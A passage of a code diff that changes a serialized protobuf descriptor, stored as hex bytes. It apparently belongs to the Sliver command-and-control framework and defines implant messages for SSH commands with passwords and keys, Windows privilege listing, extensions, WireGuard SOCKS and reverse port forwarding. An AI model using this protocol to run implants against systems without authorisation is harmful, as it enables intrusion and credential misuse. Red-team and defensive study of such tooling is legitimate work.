0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, + 0x6e, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, + 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x72, 0x62, 0x35, 0x43, + 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4b, 0x72, 0x62, 0x35, 0x43, + 0x6f, 0x6e, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x4b, 0x65, 0x79, 0x74, 0x61, 0x62, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x06, 0x4b, 0x65, 0x79, 0x74, 0x61, 0x62, 0x12, 0x14, 0x0a, 0x05, 0x52, + 0x65, 0x61, 0x6c, 0x6d, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x52, 0x65, 0x61, 0x6c, + 0x6d, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x52, - 0x0a, 0x0f, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x6a, 0x0a, 0x07, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2f, 0x0a, - 0x06, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, 0x06, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, - 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x41, 0x0a, - 0x12, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, - 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0x40, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x5e, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, - 0x72, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, - 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, - 0x64, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x72, 0x22, 0x3d, 0x0a, 0x0d, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, - 0x72, 0x22, 0x73, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x12, 0x31, 0x0a, 0x07, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, 0x07, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x6c, + 0x0a, 0x0a, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, + 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, + 0x64, 0x4f, 0x75, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x0a, 0x0b, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xd3, 0x01, 0x0a, 0x15, 0x57, 0x69, 0x6e, + 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, + 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x2a, 0x0a, 0x10, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, + 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x64, + 0x46, 0x6f, 0x72, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f, 0x72, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xc5, + 0x01, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x08, 0x50, + 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, + 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, + 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2a, 0x0a, 0x10, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x10, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, + 0x72, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7b, 0x0a, 0x0f, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x38, 0x0a, 0x0a, 0x46, 0x6f, 0x72, - 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, - 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x52, 0x0a, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x0e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, - 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3d, 0x0a, - 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8f, 0x01, 0x0a, 0x14, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x49, 0x6e, 0x69, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x49, 0x6e, 0x69, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x43, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa1, 0x01, + 0x0a, 0x10, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x53, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, + 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x78, + 0x70, 0x6f, 0x72, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x79, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x62, 0x0a, 0x0f, - 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x12, - 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x40, 0x0a, 0x11, + 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, + 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x56, + 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x56, 0x0a, 0x17, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcf, + 0x01, 0x0a, 0x18, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x42, + 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0x3e, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 